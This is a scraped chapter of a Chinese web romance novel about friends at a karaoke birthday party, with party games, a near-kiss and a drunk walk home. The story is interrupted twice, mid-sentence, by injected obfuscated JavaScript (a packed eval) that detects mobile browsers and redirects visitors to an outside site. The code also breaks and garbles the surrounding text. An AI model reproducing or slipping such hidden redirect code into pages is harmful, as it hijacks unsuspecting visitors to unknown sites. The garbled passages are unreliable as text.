包厢内的镭射灯球的光缤纷,时不时落在许惊岁的脸上,却并不显得花哨,相反,在他懒洋洋抬眼扫来的时候,有种惊心动魄的美。 他的声音偏感性,听着总有几分说不清的温柔,像一阵暖风吹过心尖,酥酥麻麻的。 乐彦乐队几个人似乎都没想到许惊岁唱歌竟然这么好听,乐彦也笑着跟祁洲打趣道:“看来你这主唱地位不保啊。” 一曲结束,几人特别捧场地鼓掌,吆喝“再来一首”,许惊岁笑了下,玩笑着应付了过去,将麦克风递给下一个人。 林此宵的视线落在两人身上,他发现时嘉白的目光一直追随着许惊岁,眼神里直白明显的喜欢和惊羡。 他突然感觉许惊岁像月亮,遥不可及,他觉得近,只是因为水中倒影。 林此宵愣了一下,沉默须臾,又移开了视线。 场内玩闹的分作一派,唱歌的分作一派。许惊岁还没坐到沙发上就被拉了过去玩游戏,见人不够,又把林此宵也拉了过来。 游戏名字叫国王游戏。七张牌放在桌面,大家各抽一张做为暗牌,抽中鬼牌的就是国王,可以随意点两个人做任何一件事情,所有人必须服从,挑战失败或者放弃的人自罚一杯。 第一轮牌打乱,大家依次抽取。拿到鬼牌的是乐彦乐队的一个男生,他笑眯眯地道:“2号含一口水,并且公主抱着3号,3号需深情款款与之对视,并用夹子音说“我爱你”。” “啊啊啊真是受不了,你好恶心!” “3号是谁啊?真是倒大霉了哈哈哈哈哈哈” “天哪,快点快点,我要看!!!” 抽中3号的是乐彦,他无比幽怨地看了眼‘国王’,“小北,我与你无冤无仇,寒心,真正的心寒从不是大吵大闹。” “你得了吧你,快点!2号呢?”小北笑着回怼。 抽中2号的祁洲比乐彦还要幽怨,一见2号是祁洲,乐彦顿时笑出了声,“水儿,你说咱这是什么缘分。” 祁洲没好气道:“孽缘!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181109|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完,祁洲喝了口水含在嘴里,一把公主抱起了乐彦,后者笑了笑,也没觉得尴尬,按照指令夹着嗓子,故作台湾腔道:“偶~耐~泥~” 场上顿时轰然大笑起来,祁洲一时也没忍住,含着的水尽数喷了出去,呛的他连连咳嗽,“不...不好意思...” 乐彦也不管身上的水渍,抬手拍了拍祁洲的背,关心道:“你没事吧?” 过了两分钟,祁洲缓了过来。游戏继续,这次抽中鬼牌的是乐彦,他颇有些威风得志,笑得一脸狡诈,“小北,你最好别落我手里头!4号跟6号,对视着吃完这根百醇饼干。” “怎么吃完?这吃到最后不得嘴对嘴啊?” “别啊,我还初吻呢。” “滚你的,你不是幼儿园初吻就没了,少装。” 几人你一句我一句地互怼着,许惊岁看了眼自己抽中的牌,赫然显示4,也就是说他是4号,那么6号是谁呢? “嚯!小岁你是4号啊!”旁边人瞥见了,登时吆喝了出来,一副看热闹不嫌事大地模样,“谁是6号啊?” 眼珠子一转,看向时嘉白,好奇道:“小白你是几号啊?” 时嘉白有些不敢看,既期待是,又有些不好意思接受,他深吸了口气,一鼓作气地翻开,上面显示的数字是5。 看见不是,时嘉白顿时心里有些小小失落,他笑了笑:“我是5。” “6到底是谁啊?” 林此宵对这类游戏没什么兴趣,过来玩也只是充个人头,因此没什么反应,直到他掀开卡牌,看见上面的数字时,才罕见地愣了下。 乐彦凑过去看了眼,笑着宣布:“这位原来是6呀。” 许惊岁闻言看向站在对面的林此宵,怔了怔,反应过来后弯了弯眼睛,很友好地笑着。 饼干棒一头是饼干,另一头覆盖着巧克力涂层。许惊岁与林此宵两人各持一端,最开始距离还算安全,大概十厘米,许惊岁发现林此宵的左眼角下方竟还有颗小痣,他之前竟没注意。 八厘米。林此宵可以看见许惊岁瞳仁中自己的缩影,他的睫毛很长,像蝴蝶翅膀,他忽然想起自己曾在网上见过的黎明闪蝶标本,很漂亮。 六厘米。许惊岁的目光直勾勾地盯着林此宵的眼睛,眼神热烈且具有侵略性,像小狮子盯住了心怡的猎物,却因胜券在握而不急着逮捕,一点点的推拉。林此宵微微垂眼,视线落到许惊岁鼻尖的小痣上,他突然觉得,有点可爱。 四厘米,近的好像能够听见彼此的呼吸,呼出的灼热气息你来我往,交织成一张密密的网,耳边是饼干被咬断的清脆声,两颗心脏在这一刻同频共振。 三厘米,两人几乎鼻尖相顶,许惊岁微微偏了偏头,鼻尖相擦而过,从某个角度看来,像在接吻。 太近了,心跳好像都开始乱了,场上几人也开始不由自主的屏住呼吸,心想:该不会真的亲吧?玩这么大的吗? 就在这时,随着一声饼干被咬断的声音,这场暧昧至极的游戏画上了句号。 24. 再谈记忆 那一瞬间,属于许惊岁的气息擦着林此宵的唇瓣而过,前者叼着一小截的饼干棒,冲他勾唇笑了下,而后像个没事人一样回到了桌前。 林此宵一时愣住,过了几秒,才如同恢复运作的机器一般默默将口中的饼干咽下,巧克力的甜腻在舌尖蔓延,顷刻间占据了所有味蕾。 赶驴的人会在驴前面挂一根萝卜来引导驴前进,可诱导林此宵似乎只需要那么一点甜。 几人玩了几局,见时间差不多了。许惊岁起身走到乐彦身边,跟他耳语了几句。 祁洲睨了眼走出去的乐彦,随口一问:“怎么了?” “没事,我让彦哥去拿点酒。” “桌上不还有吗?” 许惊岁没接话,故意岔开话题:“水哥,你猜出你的守护天使是谁了吗?” 祁洲都快忘了这回事,因为他抽到的是自己的名字,可是身份不能暴露,他只好装作沉思模样,过了一会,“我觉得是...阿韵?她今天对我和颜悦色的,都没怼过我,太不正常了。” 颜韵抬头看了他一眼,脸上写满了无语,她扯了扯嘴角,道:“你是不是抖m啊?” 祁洲一副‘你看,她又怼我了’的表情,接着道:“不过今天小林对我也很好,在密室的时候,鬼冲出来都是他挡在我前面。” “水哥,其实我骗了你。”许惊岁笑了下,他看着祁洲迷茫疑惑的表情,解释道:“其实守护天使不只一个。” 祁洲愣了愣,没反应过来,“什么意思?我有点懵了。” 许惊岁说:“四张纸条我写了同一个名字。”他缓缓地念出祁洲二字。 恰在这时,屋内灯光不知被谁关上,屋内顷刻间只剩下液晶屏的微弱光芒,歌曲也被按下了暂停。 不知情的几人皆是一愣,茫然地看了看,问:“怎么了这是?” “谁关灯了呀?” “发生什么了?” 祁洲也一脸不明所以,话题也被突然的变故打断。 就在议论纷纷之际,乐彦推着小车走了进来,上面放着个造型精致的蛋糕,画着一张吉他与一个Q版小人的图案,插着的贺卡卡片上写着:“祝祁洲25岁生日快乐!” 蜡烛已经点燃,亮着温馨的暖黄色烛光。歌曲也切成了早就点好的生日快乐歌。 祁洲还没反应过来,耳畔响起了许惊岁的声音,他笑着由衷地祝福道:“水哥,祝你以后的每个生日都有守护天使。” 很俗套的祝福语,但也是许惊岁能想到最诚挚的祝福,他希望祁洲以后无论哪一个生日都是快乐的,都有人陪伴,都不孤单。 颜韵也笑了笑,“水哥,生日快乐,祝你早日成为国内top音乐制作人。” 林此宵也反应了过来,所谓的天使游戏不过是找了个借口,可以让祁洲在这一天享受到所有人的关心和爱,并且不会觉得负担。 他说:“祝你生日快乐。” 乐彦走过来,笑嘻嘻道:“那我就祝你身体健康发大财吧!” 祁洲没有想到许惊岁和颜韵会为他准备一个秘密生日派对,他本就是个偏感性的人,内心一时又惊喜又感动,多种情绪在胸腔糅杂,眼眶不禁有些湿润,他抿了抿唇,笑了下,“谢谢大家...” 他还想说些什么,却又词不达意,乐彦看看他,拍了下他的肩膀:“快去许愿吹蜡烛吧,马上都要烧完了,你不吹我可替你吹了啊。” 本来酝酿好的伤感情绪顿时被打破,祁洲笑骂了他一句,走上前闭上眼睛许愿,九个人围着祁洲默契一致地唱着生日快乐歌。 林此宵忽然想到许惊岁昨晚的神秘兮兮,心底冒出个猜想:难不成是在策划这件事? 他后知后觉看向许惊岁,只见对方表情认真专注,眉眼带笑地唱着生日歌,脑袋随着旋律左右晃了晃,活泼又可爱。 过了四五秒,祁洲睁开眼睛,使劲一口气吹灭了所有蜡烛,几个人纷纷鼓掌喝彩,他将蛋糕切开,分发给其他几人。 过了会,不知是谁先提的,几个人又闹哄哄地玩起了全国通行的聚会游戏——真心话大冒险。 开局第一把。乐彦拿起茶几上的骰子,装入骰盅内,抬手晃了晃,倒扣在桌面,“总共三个骰子,3-18,每人猜个数,谁猜的离点数最近,谁就输,真心话大冒险二选一,真心话顾名思义,大冒险就干一杯啤的,怎么样?” 众人都没有异议,纷纷报了个数字。只见骰盅一开,531,共9点,与祁洲猜的一模一样。乐彦笑了起来,抬眼看向祁洲,问:“真心话还是大冒险?” 祁洲:“真心话吧。” 就在大家以为会问出什么变态问题时,乐彦却反其道问了个很正常的问题:“你今天开心吗?” 祁洲愣了下,笑了笑,诚实地说:“开心。” 下一局中招的是时嘉白,他选了真心话,祁洲发问:“在场有你喜欢的人吗?” 时嘉白闻言下意识地看了眼许惊岁,又怕被发现似的,匆匆垂下眼,羞涩地点了点头。 有几个人了然地看向许惊岁,不过许惊岁倒是没注意到投来的目光,还在专注地插着蛋糕里的樱桃。 场上乐彦队里的其他几人顿时七嘴八舌地追问:“谁啊?” “咱队老幺被谁俘获芳心了?” “啥?在我眼皮子底下被偷家了?” 时嘉白一时脸都红了起来,忙搪塞道:“那是第二个问题了。” 骰盅再次开启,很巧地接近许惊岁刚报的点数,他没怎么思索,选择了真心话。 时嘉白抿了抿唇,不太好意思地问:“你谈过几次恋爱呀?” 许惊岁人长得好,性格也好,追求者应当不再少数,不过真的交往过的,就连最熟悉他的祁洲一时竟也不太清楚。 “0。”许惊岁浅笑着给出了答案。 场上一时静默,似乎所有人都没想到会是这个答案,有人还发出了质疑,“真的吗?真心话可不许说谎哦。” 许惊岁唇角带笑,举起手很认真地发誓:“千真万确。” 他的模样很诚恳,让人找不到说谎的痕迹,要么他说的确实是实话,要么他就是个演技高超的渣男。 林此宵忽然想起这人上次跟自己举手发誓时说的话——“我对待感情可专一了,不信的话,可以跟我试试看。” 可以相信你吗?许惊岁。 游戏继续,轮了几圈后,落到了林此宵这儿。几个人同他都不是很熟,再加上对方一张冷峻的脸,一时也不知道该问什么比较好,许惊岁盯着他看了几秒,忽然问:“药是你买的吗?” 这是什么问题?场上的人顿时都有些呆住,是什么新型暗号吗? 林此宵对上许惊岁探究的眼神,薄唇绷着没说话,径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181110|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直拿起桌面上的啤酒,一口气喝了个干净。 漏出来的酒渍顺着下巴滑下,借着昂头的动作,滑过小山丘一般的喉结,许惊岁看着,心里只有一个想法:这人当真是个哑巴。 后面又玩了几局酒桌游戏,几人多多少少都喝了些,到末了,没想到身为寿星的祁洲最先被灌倒,乐彦见他还要拿酒喝,忙劝道:“得了吧,你不是寿星,你是我祖宗,少喝点吧你,道都走不直了。” “胡说!”祁洲酒后的思维还是很敏捷的,他立刻站起身,急于展示自己的清醒,“我这就走给你看。” 还没走出去两步,就左右脚打架,差点摔了个狗吃屎。幸亏乐彦眼疾手快的抓住,他架住祁洲,跟几人打了个招呼:“我先把他送回去,你们也少喝点,先走了。” 今天的主角退了场,顿时也有些索然无味。颜韵看了看靠在沙发上的许惊岁,对方闭着眼睛,姿态散漫,两颊泛着粉红,看起来俨然一副醉酒模样。 这一个个的...... 颜韵刚想找个人架他起来,时嘉白突然走了过来,有些腼腆道:“我送小岁哥哥回去吧。” 颜韵看了看他,觉得也行,谁知许惊岁拉着林此宵的胳膊不撒手,别人还没碰到他,他就嘟囔着:“不要不要!” 二十岁的人倒像个泼皮小孩似的耍无赖。 颜韵顿觉一个头两个大,她拍了拍时嘉白的肩膀,“要不你先走吧,他喝多了认人。” 时嘉白“哦”了声,走出两步又不舍似的频频回头看向许惊岁。 “你送小岁回去吧。”颜韵对上林此宵的眼睛,后者默了两秒,没什么表情地应了下来。 走出KTV。林此宵看了眼身旁的醉鬼,耐着性子低声问:“还可以走吗?” 见许惊岁也不知道听没听懂,反正摇了摇头,林此宵很轻地叹了口气,半蹲了下来,哄小孩子似的:“上来,我背你。” 许惊岁看着个子挺高,但是身上却没多少肉,比林此宵预想的还要轻很多,他又想起颜韵说的,许惊岁这人向来对自己很不上心。 这块到酒店约莫十分钟左右的路程,倒也不算远,傍晚的风吹在身上,风中带着桂花香,吹在人身上暖暖的,很惬意舒适。 “如果想吐,记得跟我说。”林此宵叮嘱。 “嗯。”许惊岁很乖地应了。 手臂紧紧环绕住林此宵的脖子,头靠在他的肩膀上,鼻尖呼出的热气尽数喷洒在他的脖侧,像一阵细细密密的电流袭过,林此宵的喉结滚了滚,什么也没说。 走了一会,许惊岁忽然开口道:“我问了韵姐,她说药不是她买的,你说药是谁买的呢?” 这个问题问很有逻辑,林此宵甚至怀疑他在装醉,薄唇抿了抿,对醉鬼胡乱应付道:“我不知道。” “不,你知道。”许惊岁忽然凑近了他的耳朵,唇挨着耳廓,唇瓣是冰凉的,可说话的气息却是灼热的,他在林此宵耳边很笃定地说:“是你。” 林此宵脚步霎时一顿,心跳也好似漏了一拍,像做了什么见不得人的事被发现一样。 “为什么不承认?”许惊岁问,见林此宵沉默不语,这倒也在他的意料之中。他缓缓道:“林此宵,表达对别人的关心不是件丢人的事情,相反,我很开心。” “在我这,你可以做真实的你,不要再对我说谎了。知道了吗?”